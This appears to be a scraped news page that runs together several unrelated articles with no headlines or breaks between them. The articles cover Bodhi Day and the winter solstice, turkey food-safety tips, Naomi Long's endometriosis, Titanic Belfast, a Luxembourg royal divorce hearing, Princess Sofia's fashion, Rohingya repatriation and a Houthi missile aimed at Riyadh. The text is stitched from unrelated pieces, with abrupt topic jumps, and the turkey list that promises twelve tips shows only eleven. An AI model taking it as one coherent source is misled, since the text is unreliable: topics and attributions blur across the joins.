A celebration of the day that Buddha is said to have gained enlightenment while sitting under a tree, Bodhi Day is celebrated by Buddhists across much of south-east Asia, including in India, China and Vietnam.

The Bodhi tree is believed to be a very old fig tree located at Bodh Gaya in the Indian state of Bihar. Siddhartha Gautama, the man who became Buddha, is said to have reached nirvana after intensive meditation underneath it. Bodhi means enlightenment in Sanskrit.

To mark the event, Buddhists spend the day focusing on meditation and studying Buddhas teachings, as well as celebrating with a meal of tea and cake, or rice and milk. Some hang strings of coloured lights in their homes and on trees to symbolise what they believe are the many paths to enlightenment.

Winter Solstice  21 December

December 21 is the shortest day of the year, and the solstice has been celebrated for thousands of years. The day was marked by Pagans as the festival of Yule. In ancient times, mid-winter was celebrated as marking the return of the sun, and people lit fires and came together to drink and rejoice. Others, including the Celts, used to set fire to a log to illuminate the darkness, banish evil spirits and bring good luck to their families. Many of these ancient traditions have been incorporated into Christmas; in fact, many people believe the Christian festival is rooted entirely in Paganism.

Some countries have particular celebrations to mark the solstice. In Iran, for example, it is known as Yalda Night and is typically celebrated with family and friends. Traditional foods include watermelon and pomegranate, with the red flesh said to represent the rising and setting of the winter sun. The festival has its roots in Zoroastrianism, which is practised more in Iran than almost anywhere else.
How much turkey do you really need for your family? Why should you never wash your turkey before cooking? And what is the right cooking time for your turkey?

Here are 12 tips to cook your turkey, from Safe Food:

1. Store your turkey on the bottom shelf of the fridge:

Ahead of the festive rush give your fridge a good clean with warm soapy water; you can also re-arrange the shelves to make room for your turkey - remember to store it on the bottom shelf so any drips wont land on ready to eat foods which could spread germs leaving these foods unsafe to eat.

If you need to make extra fridge space, you can store vegetables and drinks (except milk and fruit juices) in a cool place.

2. How much turkey do you really need?

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o For 4-6 people, a 3-4kg turkey should do

o For 6-8 people, a 4-5kg turkey should do

o For 8-10 people, a 5-6 kg turkey should do.

If youre unsure, ask your butcher and think about how many people youre cooking for (children eat less than adults) and whether you want any leftovers.

3. What is the safest way to defrost a turkey?

For a frozen turkey or any frozen poultry, the safest and recommended way to defrost it is to place it on a dish or tray on the bottom shelf of your fridge.

You should allow 24 hours for every 4-5 pounds/1.8-2.2kg and give yourself plenty of time  it can take up to 3 days to fully defrost a frozen 7.5kg/15lb turkey, so you may need to take it out to defrost on December 22nd.

Youll know its fully defrosted when:

 the body is soft

 the legs can be moved and

 there are no ice crystals inside the cavity

Once thoroughly defrosted, a previously frozen turkey cooks the same way as a fresh turkey.

4. Dont wash that turkey

Do not wash your turkey as this splashes food poisoning bacteria around your kitchen through drips, drops and splashes - proper cooking will actually kill any germs present.

If you do need to clean the bird, wipe it with a disposable paper towel, discarding the used paper towel and any packaging directly in to the bin.

Handle your turkey as little as possible and wash your hands and surfaces thoroughly with warm soapy water.

5. Give yourself plenty of time to cook your turkey

Raw poultry and meat can contain germs like Salmonella and Campylobacter, so its important to cook these foods thoroughly. Preheat your oven to 180C (fan assisted) and cover the turkey with tinfoil during cooking as this helps it to cook more evenly and gives a more juicy product.

The turkey should be basted every hour during cooking (the tinfoil can be removed for the last half hour to finally brown the skin).

You can find cooking times for your turkey at www.safefood.eu

6. To stuff or not to stuff

With an unstuffed turkey, you can check whether its thoroughly cooked by using a clean fork or skewer to pierce the thickest part of the breast meat (between the leg and breast)  once the juices run clear, there is no pink meat left and the turkey is piping hot all the way through, then its properly cooked and ready to serve up.

For fan-assisted ovens, stuff your turkey. For any other oven type, cook the stuffing separately, Safe Food advises.

For stuffed turkeys, you should allow extra cooking time as safefood research has shown that when a turkey is stuffed in the body cavity, it is the centre of the stuffing that is slowest to cook.

So for stuffed turkeys, it is essential you check the stuffing itself is piping hot all the way through as well as making sure the meat at the thickest part of the breast is cooked thoroughly before serving.

Try not to overstuff the turkey; use only 10% of the weight of the bird in stuffing e.g. 500g stuffing for a 5kg turkey.

7. Leave your turkey to rest

One way of making sure that the stuffing is properly cooked, without risking overcooking the meat, is to remove the turkey from the oven when the meat is fully cooked, and leave it to rest for half an hour covered in tinfoil.

8. Double check your turkey is cooked

Check the following:

 Its piping hot throughout

 Its juices run clear (when thickest part the leg/breast is pierced with a clean fork or skewer)

 There is no pink meat left

 Any stuffing is piping hot throughout

9. How to store leftover turkey

Cover any leftovers and place in the fridge within two hours of cooking. Ensure any meat is cooled as quickly as possible  cutting it into pieces will help with this. Once in the fridge, leftovers should be eaten within three days.

10. Can I freeze the leftover turkey?

If freezing leftover meat, wrap well and make sure it is stored in a suitable container for freezing. Freeze cooked meat for no more than six months approximately  this is for quality rather than safety

11. Only re-heat food once

When re-heating food, ensure it is piping hot all the way throughout. Make sure food is only re-heated once!
Alliance deputy leader Naomi Long said her party was looking forward to more election success

A leading politician who fainted during a live televised political debate earlier this year has revealed she has been suffering from a painful condition for many years.

Northern Ireland Alliance Party leader Naomi Long (46) revealed she underwent a full hysterectomy this year as a solution to dealing with chronic endometriosis, a painful condition which can cause heavy bleeding, nausea, and which can render women infertile.

Naomi told RTE's Today With Sean O'Rourke that after decades of being in chronic pain, she is finally pain free.

Whilst Im still very tired post operation and everything else, it has been an amazing discovery to be finally pain free, she said. "I got accustomed to a degree of pain... I began to think that the pain wasnt as severe as I thought it was.

Naomis condition was only diagnosed a few years ago, despite the fact that she has lived in pain since her teenage years. Until a few years ago, Naomi believed she was suffering with Irritable Bowel Syndrome.

It was really when it got to the point that I was collapsing in pain that it really then got escalated and I got the proper investigations.

Id taken painkillers during the leadership debate, so I had actually postponed surgery until January because of the collapse of the Assembly. Then again, in March/April time because of the calling of the General Election.

I think at the point where I was in the studio doing the leaders interview, I had reached the end of my capacity to cope with the pain and all of the other consequences and side effects of my condition.

Naomi said she did not reveal her condition to the public because she felt she would prefer to keep her private life out of the public domain.

Theres very little in political life that is personal.. trying to disguise [the pain]... Thats quite difficult."

At the end of the day, Im there to help solve other peoples problems, theyre not there as therapy for me.

Before undergoing a hysterectomy this year, Naomi had already had surgery to remove two cysts, one on each ovary - one the size of a grapefruit and the other the size of an orange.

Yet when more cysts grew back again, she realised a hysterectomy was the only option for her personally.

Those were pressing on my other organs and were causing the pain that I had."

It was a challenging period but at the end of the day, Im one of the lucky people with the symptoms that I had. The symptoms that I had are equivalent with the symptoms of ovarian cancer.

Just a few months ago I opted to have a full hysterectomy because I think that is probably for me at 46 years of age is the best way to manage the condition.

It was quite a big choice.

Incredibly, Naomi's condition wasn't diagnosed until after she collapsed during a holiday in England in 2010.

Basically since I was a teenager, as soon as I had puberty, I had difficulties. I think because people see these things as incredibly sensitive and private, no one talks about it, and therefore many young women who hit puberty find themselves very nauseous, very tired, all of those things, and assume this is basically part of life.

I never got a diagnosis, so my entire life, I didnt know what was wrong with me until a few years ago.

I collapsed on holiday in England, was taken to hospital... it started a very long process which eventually uncovered that rather than IBS... it was actually endometriosis, and quite aggressive endometriosis.
Titanic Belfast CEO Tim Husbands MBE and Vice Chairman Conal Harvey celebrate as Titanic Belfast is named King of the World at the World Travel Awards.

Titanic Belfast has been crowned 'World's Leading Tourist Attraction' at the World Travel Awards 2016.

This is the first time the accolade has been won from Ireland.

Titanic Belfast beat off stiff competition from eight global finalists, including Ferrari World Abu Dhabi, the Las Vegas Strip, Machu Picchu to win the top gong.

Dublin's Guinness Storehouse was another global finalist.

The World Travel Awards, now in their 23rd year, are decided by open vote and widely hailed as 'the Oscars of the travel industry'.

Over one million votes were cast from over 216 countries in the red-carpet awards, held at Sun Siyam Iru Fushi resort in the Maldives this week.

Expand Close Titanic Belfast CEO Tim Husbands MBE and Vice Chairman Conal Harvey celebrate as Titanic Belfast is named King of the World at the World Travel Awards. / Facebook

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Whatsapp Titanic Belfast CEO Tim Husbands MBE and Vice Chairman Conal Harvey celebrate as Titanic Belfast is named King of the World at the World Travel Awards.

"Over the past few years, we have continued to go from strength to strength but to be voted the Worlds Leading Tourist Attraction by both the industry and the public for excellence in tourism and our original product, is really the jewel in our crown," said Conal Harvey, Titanic Belfasts Executive Vice-Chairman.

We always knew that in Titanic Belfast, we were home to a world class attraction that would become a global brand," said Northern Ireland's First Minister, Arlene Foster.

Deputy First Minister, Martin McGuinness, added:

This is terrific news for Titanic Belfast and will help in our global pitch to make the north of Ireland one of the worlds top tourism destinations."

Titanic Belfast had already beaten off the Colosseum in Rome and the Eiffel Tower in Paris, among other attractions, to win Europe's Leading Tourist Attraction.

The iconic attraction opened in 2012, and this summer welcomed its three millionth visitor. Queen Elizabeth, Hillary Clinton and Titanic director James Cameron are among the celebrities to have paid it a visit.

More to follow...

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James Cameron's $200 million account of the world's worst shipping disaster is also a classic tale of doomed love across the social divide.

Ready to feel old? It's hard to believe, but on this day 20 years ago Titanic: The Movie first premiered on cinema screens in the US.

The three-hour-long blockbuster, which set the love story of passengers Jack (Leonardo DiCaprio) and Rose (Kate Winslet) against the backdrop of the liner's tragic maiden voyage, premiered in the US on December 19, 1997.

It went on to become the top grossing film of all time, bagging some $2 billion worldwide (another James Cameron movie, Avatar, has since surpassed that).

Titanic brought the ill-fated story of the White Star liner to a whole new generation, cementing its status as the world's most famous ship and teeing up a series of global commemorations on the centenary of its sinking, in April 2012.

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The cultural phenomenon has also been a boon for Belfast, birthplace of RMS Titanic and today home to the world's largest Titanic visitor experience.

The 100m Titanic Belfast opened in 2012, and has since welcomed over four million visitors, last year being named the World's Leading Visitor Attraction.

Celebrating the milestone anniversary, the visitor experience is hosting a red-carpet, movie-themed afternoon tea by its replica Grand Staircase, including a movie showing in the Titanic Suite. It starts at 7pm and costs 35pp, with a glass of Prosecco.

It has reason to celebrate. In its first three years alone, Titanic Belfast generated some 105m in additional tourism spend for the region, and hosted over 1,500 events ranging from Queen Elizabeths Jubilee lunch to a G8 Summit Reception.

It has also served as an anchor project for the growth of Titanic Quarter, and a catalyst for development in Belfast - set to continue apace in 2018.

"Titanic Belfast has been transformative for tourism in Northern Ireland," as Tourism NI Chairman Terence Brannigan has put it, "and has helped deliver the impressive levels of hotel growth that we are seeing today across the city."

Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Expand Previous Next Close Checking into Titanic Hotel Belfast. Photo by Kelvin Boyes / Press Eye. Titanic Hotel Belfast: Elevation from Queen's Road Afternoon tea in the old drawing offices... The Harland & Wolff Drawing Offices (archive) Inside Titanic Hotel Belfast. Photo by Kelvin Boyes / Press Eye. A bedroom in the Titanic Hotel Belfast A superior suite at the Titanic Hotel Belfast A White Star Line print at the Titanic Hotel Belfast Wolff Grill at the Titanic Hotel Belfast Presentation Room, Titanic Hotel Belfast Titanic Hotel Belfast. Photo: Press Eye/Darren Kidd Main Staircase (Ground floor) before restoration Titanic Hotel, main staircase. Photo: Press Eye/Darren Kidd Inside the Titanic Hotel Belfast Suite, Titanic Hotel Belfast Harland & Wolff Drawing offices, before restoration Titanic Hotel Belfast, drawing offices during restoration Pat Doherty of Harcourt Developments with Kerrie Sweeney of Titanic Foundation in Drawing Room 2. Photo by Kelvin Boyes / Press Eye. Titanic Hotel Belfast: Bar Lounge in the Drawing Office Titanic model in Harland Bar. Photo: Press Eye/Darren Kidd The Harland Bar at Titanic Hotel. Photo: Press Eye/Darren Kidd Titanic-themed afternoon tea / Facebook

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Whatsapp Checking into Titanic Hotel Belfast. Photo by Kelvin Boyes / Press Eye.

Titanic tourism isn't confined to the showpiece itself, of course.

Belfast is also home to the original tender, SS Nomadic, and Titanic-themed experiences range from audio trails to Segway tours.

This September, a 32m Titanic Hotel opened in the former Harland & Wolff Headquarters, incorporating the drawing rooms in which the ship itself was designed.

Its celebration? A special, 20th-anniversary Jack & Rose cocktail made with Jack Daniels Honey, banana liquor, honey, lemon juice, sugar syrup and rose liquor.

The rose is served on the side "to keep her out of the water, it says.

More at titanicbelfast.com and discovernorthernireland.com.

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Princess Tessy of Luxembourg leaves the High Court in London. Prince Louis of Luxembourg, a member of a European royal family, separated from Princess Tessy, is embroiled in a fight over money with his estranged wife in Family Division of the High Court

Prince Louis of Luxembourg, a member of a European royal family, leaves the High Court in London where he is embroiled in a fight over money with his estranged wife Princess Tessy in Family Division of the High Court

Prince Louis of Luxembourg, a member of a European royal family, leaves the High Court in London where he is embroiled in a fight over money with his estranged wife Princess Tessy in Family Division of the High Court

Louis of Luxembourg kissing his wife Tessy in Luxembourg on September 29, 2006. (Photo by Alain BENAINOUS/Gamma-Rapho via Getty Images)

Prince Louis of Luxembourg and Princess Tessy of Luxembourgattends the wedding ceremony of Prince Guillaume Of Luxembourg and Princess Stephanie of Luxembourg at the Cathedral of our Lady of Luxembourg on October 20, 2012 in Luxembourg

Princess Tessy Of Luxembourg and Prince Louis Of Luxembourg depart from the Religious Wedding Of Prince Felix Of Luxembourg and Claire Lademacher at the Basilique Sainte Marie-Madeleine on September 21, 2013 in Saint-Maximin-La-Sainte-Baume, France. (Photo by Pascal Le Segretain/Getty Images)

Princess Tessy and Prince Louis of Luxembourg assist National Day on June 23, 2015 in Luxembourg, Luxembourg. (Photo by Mark Renders/Getty Images)

Prince Louis of Luxembourg, a member of a European royal family, leaves the High Court in London where he is embroiled in a fight over money with his estranged wife Princess Tessy in Family Division of the High Court

Prince Louis of Luxembourg, a member of a European royal family, leaves the High Court in London where he is embroiled in a fight over money with his estranged wife Princess Tessy in Family Division of the High Court

Princess Tessy of Luxembourg leaves the High Court in London. Prince Louis of Luxembourg, a member of a European royal family, separated from Princess Tessy, is embroiled in a fight over money with his estranged wife in Family Division of the High Court Luxembourg

Princess Tessy of Luxembourg and Prince Louis of Luxembourg celebrate National Day on June 23, 2013 in Luxembourg, Luxembourg. (Photo by Mark Renders/Getty Images)

She rose from humble origins to marry into one of Europe's wealthiest and most distinguished royal families.

For 11 years Princess Tessy of Luxembourg, lived happily with her husband, Prince Louis, raising two children and pursuing a charity career in London working on behalf of young women and teenage girls.

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Whatsapp Louis of Luxembourg kissing his wife Tessy in Luxembourg on September 29, 2006. (Photo by Alain BENAINOUS/Gamma-Rapho via Getty Images)

But following reports earlier this year that the couple were seeking a divorce the Princess is now being forced to fight off accusations in her native Luxembourg of being a gold digger.

Those accusations intensified yesterday, after it emerged she was launching proceedings in the London courts over the estranged couples divorce settlement.

A wounding article in a Belgian gossip magazine accused Princess Tessy of having only married into the Luxembourg royal family for her own aggrandisement and financial benefit.

In an article described as a disgusting character assassination by her legal team, the magazine, Privat, concluded that shell always remain the daughter of a roofer.

Expand Close Princess Tessy of Luxembourg leaves the High Court in London. Prince Louis of Luxembourg, a member of a European royal family, separated from Princess Tessy, is embroiled in a fight over money with his estranged wife in Family Division of the High Court Luxembourg / Facebook

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Whatsapp Princess Tessy of Luxembourg leaves the High Court in London. Prince Louis of Luxembourg, a member of a European royal family, separated from Princess Tessy, is embroiled in a fight over money with his estranged wife in Family Division of the High Court Luxembourg

But her enemies in Luxembourg should have realised the 31-year-old Princess would be no pushover.

She did after all join her countrys armed forces at the age of 18, rising to the rank of Corporal and in 2004 serving in NATOs peacekeeping force in Kosovo.

Proving her mettle Princess Tessie yesterday arrived for an initial hearing at the Royal Courts of Justice, determined to obtain a fair settlement in her divorce from Prince Louis, the third son of Henri, Grand Duke of Luxembourg.

The Daily Telegraph cannot reveal details of the disputed settlement, or the amount in maintenance payments Princess Tessy is seeking, after a High Court judge imposed interim reporting restrictions, preventing the media disclosing any of the financial details discussed in court.

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Whatsapp Prince Louis of Luxembourg, a member of a European royal family, leaves the High Court in London where he is embroiled in a fight over money with his estranged wife Princess Tessy in Family Division of the High Court

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But the Princess counsel, Deborah Bangay QC, told the court: My client has no wish to litigate and she made a very reasonable and sensible proposal. Unfortunately that proposal was rejected and my client had no option but to pursue this in litigation.

Following the hearing Ms Bangay said:She is not a gold digger. Far from it. She is simply seeking a fair and proper settlement.

Princess Tessy met her future husband , who was also serving in the army, during her time on peacekeeping duties in Kosovo.

Two years later the couple had a baby boy, the first grandchild for Grand Duke Henri and Grand Duchess Maria Teresa, and married six months later at a parish church in the small town of Gilsdorf, in north east Luxembourg.

Expand Close Princess Tessy Of Luxembourg and Prince Louis Of Luxembourg depart from the Religious Wedding Of Prince Felix Of Luxembourg and Claire Lademacher at the Basilique Sainte Marie-Madeleine on September 21, 2013 in Saint-Maximin-La-Sainte-Baume, France. (Photo by Pascal Le Segretain/Getty Images) / Facebook

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Whatsapp Princess Tessy Of Luxembourg and Prince Louis Of Luxembourg depart from the Religious Wedding Of Prince Felix Of Luxembourg and Claire Lademacher at the Basilique Sainte Marie-Madeleine on September 21, 2013 in Saint-Maximin-La-Sainte-Baume, France. (Photo by Pascal Le Segretain/Getty Images)

The royal couple, who went on to have another son, later moved to London, sending the two children to boarding school in England.

But in January this year the Grand Ducal Court of Luxembourg announced their separation and divorce.

District Judge Richard Robinson granted a decree nisi at a family court in London in February after Princess Tessy had complained of the Prince's "unreasonable behaviour".

The Princess name was quickly scrubbed from the website of the Luxembourg royal family and she lost her diplomatic status. Furthermore she will lose the title of Royal Highness and will cease to be called Princess once the divorce becomes final.

Now, as part of the disputed settlement, she also stands to lose the home in Kensington, west London, where she lived with Prince Louis and raised their sons.

The rancour behind the couples separation emerged in court yesterday, when the Princes aides were accused of having threatened to drag the case out for years if Princess Tessy did not settle.

At this point Prince Louis, 31, leaned across the court towards his wife and angrily denied the charge, prompting Mr Justice MacDonald to intervene, saying: You are adults and I expect you to act like adults in my court room.

The Princes counsel, James Ewins QC, also denied royal aides has briefed against his wife in the Luxembourg media.

Referring to the article in Privat, Mr Ewins stated: My client is appalled at this. He has no idea how it came about. We share their disgust and will do anything we can to stop this happening.

Telegraph Media Group Limited [2022]
Prince Carl Philip (L) and Princess Sofia with Prince Alexander are pictured at Palace Chapel in Drottningholm Palace in Stockholm during the christening of the five month-old Prince

Prince Carl Phillip, Princess Sofia, and Prince Alexander of Sweden participate in a ceremony celebrating Sweden's national day at the Royal Palace on June 6, 2015 in Stockholm, Sweden. (Photo by Michael Campanella/Getty Images)

Princess Sofia of Sweden attends the Nobel Prize Banquet 2015 at City Hall on December 10, 2016 in Stockholm, Sweden. (Photo by Pascal Le Segretain/Getty Images)

Princess Sofia, Duchess of Vaermland and Prince Carl Philip of Sweden arrive at the Royal Palace to attend Te Deum Thanksgiving Service to celebrate the 70th birthday of King Carl Gustaf of Sweden on April 30, 2016 in Stockholm, Sweden. (Photo by Luca Teuchmann/Getty Images)

Princess Martha Louise of Norway, Prince Carl Philip of Sweden and Princess Sofia of Sweden attend a lunch on the Royal yacht, Norge, on the occasion of the celebration of King Harald and Queen Sonja of Norway 80th birthdays, on May 10 2017 in Oslo, Norway. (Photo by Nigel Waldron/ Getty Images)

Princess Sofia of Sweden and Nobel Prize in Physics, Professor Takaaki Kajita arrive at the Nobel Prize Banquet 2015 at City Hall on December 10, 2015 in Stockholm, Sweden. (Photo by Pascal Le Segretain/Getty Images)

Prince Carl Philip (L) and Princess Sofia with Prince Alexander are pictured at Palace Chapel in Drottningholm Palace in Stockholm during the christening of the five month-old Prince

Sofia Hellqvist attends the wedding of Princess Madeleine of Sweden and Christopher O'Neill hosted by King Carl Gustaf XIV and Queen Silvia at The Royal Palace on June 8, 2013 in Stockholm, Sweden. (Photo by Pascal Le Segretain/Getty Images)

Princess Sofia of Sweden and Professor Jean-Pierre Sauvage, laureate of the Nobel Prize in Chemistry arrive at the Nobel Prize Banquet 2015 at City Hall on December 10, 2016 in Stockholm, Sweden. (Photo by Pascal Le Segretain/Getty Images)

Prince Carl Philip of Sweden and Princess Sofia leave the christening of Prince Oscar at the Royal Chapel in Stockholm on May 27, 2016. / AFP / JONATHAN NACKSTRAND (Photo credit should read JONATHAN NACKSTRAND/AFP/Getty Images)

Prince Carl Philip and princess Sofia of Sweden arrive for a gala dinner at the Operahouse in Oslo on May 10, 2017 in celebration of the 80th birthdays of King Harald of Norway and Queen Sonja of Norway. / AFP PHOTO / NTB scanpix AND NTB Scanpix / Nesvold, Jon Olav / Norway OUTNESVOLD, JON OLAV/AFP/Getty Images

Kate Middleton is arguably the mos influential style icon in the world and our reigning girl crush.

But there's another normal-girl-turned-princess catching our eye - Princess Sofia of Sweden, the Duchess of Varmland, formerly Sofia Hellqvist. A former reality tv star and model, she met her husband of two years Prince Carl Philip back in 2009 and much like Kate and Will, enjoyed a lengthy courtship before walking up the aisle.

And while her signature style has evolved into a more polished look, her maternity style in particular is a lesson in understated elegance. She's currently expecting her second child with her husband and is busy making her way to the top of best dressed lists with her turn of ensembles in recent days as she joins a number of European royal familieis celebrities King Harald and Queen Sonja of Norway's 80th birthdays in Oslo.

For Tuesday night's event at the Royal Palace, she accentuated her baby bump in an empire waist Oscar de la Renta gown and of course, a tiara.

Expand Close Princess Tatiana of Greece, Princess Sofia of Sweden and Bernhard Mach arrive for a gala dinner at the Royal Palace in Oslo, Norway on May 9, 2017 to mark the 80th Birthday of the King and Queen. / Facebook

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Whatsapp Princess Tatiana of Greece, Princess Sofia of Sweden and Bernhard Mach arrive for a gala dinner at the Royal Palace in Oslo, Norway on May 9, 2017 to mark the 80th Birthday of the King and Queen.

On Wednesday, as she and Prince Carl Philip joined the other royals for a gala dinner at the Operahouse in Oslo, she opted for a white tiered dress by Alexis and gold accessories.

Expand Close Prince Carl Philip and princess Sofia of Sweden arrive for a gala dinner at the Operahouse in Oslo on May 10, 2017 in celebration of the 80th birthdays of King Harald of Norway and Queen Sonja of Norway. / AFP PHOTO / NTB scanpix AND NTB Scanpix / Nesvold, Jon Olav / Norway OUTNESVOLD, JON OLAV/AFP/Getty Images / Facebook

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Whatsapp Prince Carl Philip and princess Sofia of Sweden arrive for a gala dinner at the Operahouse in Oslo on May 10, 2017 in celebration of the 80th birthdays of King Harald of Norway and Queen Sonja of Norway. / AFP PHOTO / NTB scanpix AND NTB Scanpix / Nesvold, Jon Olav / Norway OUTNESVOLD, JON OLAV/AFP/Getty Images

Earlier in the day, she chose a grey knit cape with off-white flared trousers for an afternoon aboard the Royal Yacht, alongside Princess Martha Louise of Sweden, Prince Nikolaos and Princess Tatiana of Greece and Denmark .

Expand Close (L-R) Princess Martha Louise, Prince Carl Philip of Sweden, Princess Sofia of Sweden, Prince Nikolaos and Princess Tatiana of Greece and Denmark shelter from the rain under umbrellas as the depart from Honnorbrygga in Oslo to go on a trip onboard the Royal Yacht on MAy 10, 2017 as part of the 80th birthday celebrations of the King and Queen. / AFP PHOTO / NTB scanpix AND NTB Scanpix / BERIT ROALD / Norway OUTBERIT ROALD/AFP/Getty Images / Facebook

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Whatsapp (L-R) Princess Martha Louise, Prince Carl Philip of Sweden, Princess Sofia of Sweden, Prince Nikolaos and Princess Tatiana of Greece and Denmark shelter from the rain under umbrellas as the depart from Honnorbrygga in Oslo to go on a trip onboard the Royal Yacht on MAy 10, 2017 as part of the 80th birthday celebrations of the King and Queen. / AFP PHOTO / NTB scanpix AND NTB Scanpix / BERIT ROALD / Norway OUTBERIT ROALD/AFP/Getty Images

At the Nobel Prize Banquet in December, she masked her tiny baby bump with a sweeping emerald gown.

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Expand Close Princess Sofia of Sweden and Professor Jean-Pierre Sauvage, laureate of the Nobel Prize in Chemistry arrive at the Nobel Prize Banquet 2015 at City Hall on December 10, 2016 in Stockholm, Sweden. (Photo by Pascal Le Segretain/Getty Images) / Facebook

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Whatsapp Princess Sofia of Sweden and Professor Jean-Pierre Sauvage, laureate of the Nobel Prize in Chemistry arrive at the Nobel Prize Banquet 2015 at City Hall on December 10, 2016 in Stockholm, Sweden. (Photo by Pascal Le Segretain/Getty Images)

Last summer, for Prince Oscar's christening, this powder blue dress is the epitome of understated elegance, but that hemline that truly stands out.

Expand Close Prince Carl Philip of Sweden and Princess Sofia leave the christening of Prince Oscar at the Royal Chapel in Stockholm on May 27, 2016. / AFP / JONATHAN NACKSTRAND (Photo credit should read JONATHAN NACKSTRAND/AFP/Getty Images) / Facebook

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Whatsapp Prince Carl Philip of Sweden and Princess Sofia leave the christening of Prince Oscar at the Royal Chapel in Stockholm on May 27, 2016. / AFP / JONATHAN NACKSTRAND (Photo credit should read JONATHAN NACKSTRAND/AFP/Getty Images)

For her father-in-law Prince Carl Gustaf's 70th birthday, this pleated pink midi dress is impossibly pretty.

Expand Close Princess Sofia, Duchess of Vaermland and Prince Carl Philip of Sweden arrive at the Royal Palace to attend Te Deum Thanksgiving Service to celebrate the 70th birthday of King Carl Gustaf of Sweden on April 30, 2016 in Stockholm, Sweden. (Photo by Luca Teuchmann/Getty Images) / Facebook

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Whatsapp Princess Sofia, Duchess of Vaermland and Prince Carl Philip of Sweden arrive at the Royal Palace to attend Te Deum Thanksgiving Service to celebrate the 70th birthday of King Carl Gustaf of Sweden on April 30, 2016 in Stockholm, Sweden. (Photo by Luca Teuchmann/Getty Images)

Her lace white maxi dress for her son Prince Alexander's christening last September was a winner, but her thick pearl hairband added a royal touch.

Expand Close Prince Carl Philip (L) and Princess Sofia with Prince Alexander are pictured at Palace Chapel in Drottningholm Palace in Stockholm during the christening of the five month-old Prince / Facebook

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Whatsapp Prince Carl Philip (L) and Princess Sofia with Prince Alexander are pictured at Palace Chapel in Drottningholm Palace in Stockholm during the christening of the five month-old Prince

While introducing their new arrival in his first public appearance after his birth in June 2015, it was her traditional Swedish dress that stole the show.

Expand Close Prince Carl Phillip, Princess Sofia, and Prince Alexander of Sweden participate in a ceremony celebrating Sweden's national day at the Royal Palace on June 6, 2015 in Stockholm, Sweden. (Photo by Michael Campanella/Getty Images) / Facebook

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Whatsapp Prince Carl Phillip, Princess Sofia, and Prince Alexander of Sweden participate in a ceremony celebrating Sweden's national day at the Royal Palace on June 6, 2015 in Stockholm, Sweden. (Photo by Michael Campanella/Getty Images)

In their first photoshoot after the birth of little Prince Alexander, the couple opted for relaxed glamour and Sofia stunned in an all-ivory ensemble.

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Whatsapp Sweden's Prince Carl Philip and Princess Sofia with Prince Alexander. Picture: Erika Gerdemark, The Royal Court, Sweden

While pregnant with their first child, she accentuated her growing bump with a red applique midi dress.

Expand Close Prince Carl Philip and Princess Sofia arrive at formal gathering at the Royal Swedish Academy of Fine Arts on February 19, 2016 in Stockholm, Sweden. (Photo by Michael Campanella/Getty Images) / Facebook

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Whatsapp Prince Carl Philip and Princess Sofia arrive at formal gathering at the Royal Swedish Academy of Fine Arts on February 19, 2016 in Stockholm, Sweden. (Photo by Michael Campanella/Getty Images)

Much like Kate Middleton, she recycled this Oscar de la Renta gown she first wore at the 2015 Nobel Prize dinner.

Expand Close Princess Sofia of Sweden and Nobel Prize in Physics, Professor Takaaki Kajita arrive at the Nobel Prize Banquet 2015 at City Hall on December 10, 2015 in Stockholm, Sweden. (Photo by Pascal Le Segretain/Getty Images) / Facebook

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Whatsapp Princess Sofia of Sweden and Nobel Prize in Physics, Professor Takaaki Kajita arrive at the Nobel Prize Banquet 2015 at City Hall on December 10, 2015 in Stockholm, Sweden. (Photo by Pascal Le Segretain/Getty Images)

Before she was a princess, she had a distinctly regal style - namely this lilac dress at the 2013 wedding of Princess Madeleine of Sweden and Christopher O'Neill.

Expand Close Sofia Hellqvist attends the wedding of Princess Madeleine of Sweden and Christopher O'Neill hosted by King Carl Gustaf XIV and Queen Silvia at The Royal Palace on June 8, 2013 in Stockholm, Sweden. (Photo by Pascal Le Segretain/Getty Images) / Facebook

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Whatsapp Sofia Hellqvist attends the wedding of Princess Madeleine of Sweden and Christopher O'Neill hosted by King Carl Gustaf XIV and Queen Silvia at The Royal Palace on June 8, 2013 in Stockholm, Sweden. (Photo by Pascal Le Segretain/Getty Images)

And finally, her most iconic look to date - her breathtaking silk crepe and organza wedding gown designed by Swedish designer Ida Sjostedt.
About 630,000 Rohingya have fled Burma into Bangladesh to escape what the United Nations has called "ethnic cleansing" (AP)

Burma and Bangladesh have set up a joint working group to oversee the repatriation of Rohingya Muslims who fled violence in Burma, but the start of their return is likely to be delayed.

Under an agreement signed in Dhaka, the 30-member working group is to develop procedures to begin the voluntary return, resettlement and reintegration of Rohingya refugees.

More than 630,000 Rohingya have fled to Bangladesh since Burma's military launched a crackdown in August following attacks on police posts by a militant group.

The two countries agreed last month that the repatriation would start around January 21, but a Bangladesh foreign ministry official who attended Tuesday's meeting said it would be delayed by a few weeks.

Human rights groups warn that the Rohingya may face continued violence if they are sent back.

In the November agreement, Burma pledged to take measures to halt the outflow of Rohingya to Bangladesh, restore normality in Rakhine state and encourage those who left Burma to return voluntarily and safely to their original places of residence or to a safe place of their choice.

Officials said the November pact follows a formula set in a 1992 repatriation agreement signed by the two nations after an earlier spasm of violence.

Under that agreement, Rohingya were required to present residency documents, which few have, before being allowed to return to Burma.

The government of Buddhist-majority Burma has refused to accept Rohingya Muslims as a minority group, even though they have been living in the country for generations.

Rohingya were stripped of their citizenship in 1982, denying them almost all rights and rendering them stateless.

AP
The graves of people killed during Yemen's ongoing conflict at a cemetery in Sanaa (AP)

The Saudi-led coalition fighting Yemen's Shiite rebels has said it intercepted a missile fired over southern Riyadh, which the rebels said was aimed at the royal palace in the kingdom's capital.

It was the second time in as many months that a rebel projectile had reached as far inside the kingdom as Riyadh.

The Yemeni rebels said they launched a ballistic missile to target the Yamama Palace in Riyadh, where King Salman chairs weekly government meetings and receives dignitaries and heads of state from around the world.

A coalition statement, carried by Saudi state TV, said the missile was fired by the rebels known as Houthis. State TV said no damage was caused by the missile.

Residents of Riyadh posted videos on social media showing a small cloud of smoke in the sky after hearing a loud explosion.

In Yemen, Houthi spokesman Mohammed Abdul-Salam said the group targeted the Yamama Palace, tweeting that a ballistic Volcano H-2 missile was used.

On November 4, the Houthis targeted Saudi Arabia's international airport in Riyadh, and Saudi Air Defence said it was intercepted.

However, a New York Times analysis of photos and videos from the attack found that the missile may have come apart because of its speed and force.

Saudi Arabia has the US-made Patriot surface-to-air anti-missile system, which President Donald Trump credited for bringing the November 4 missile down.

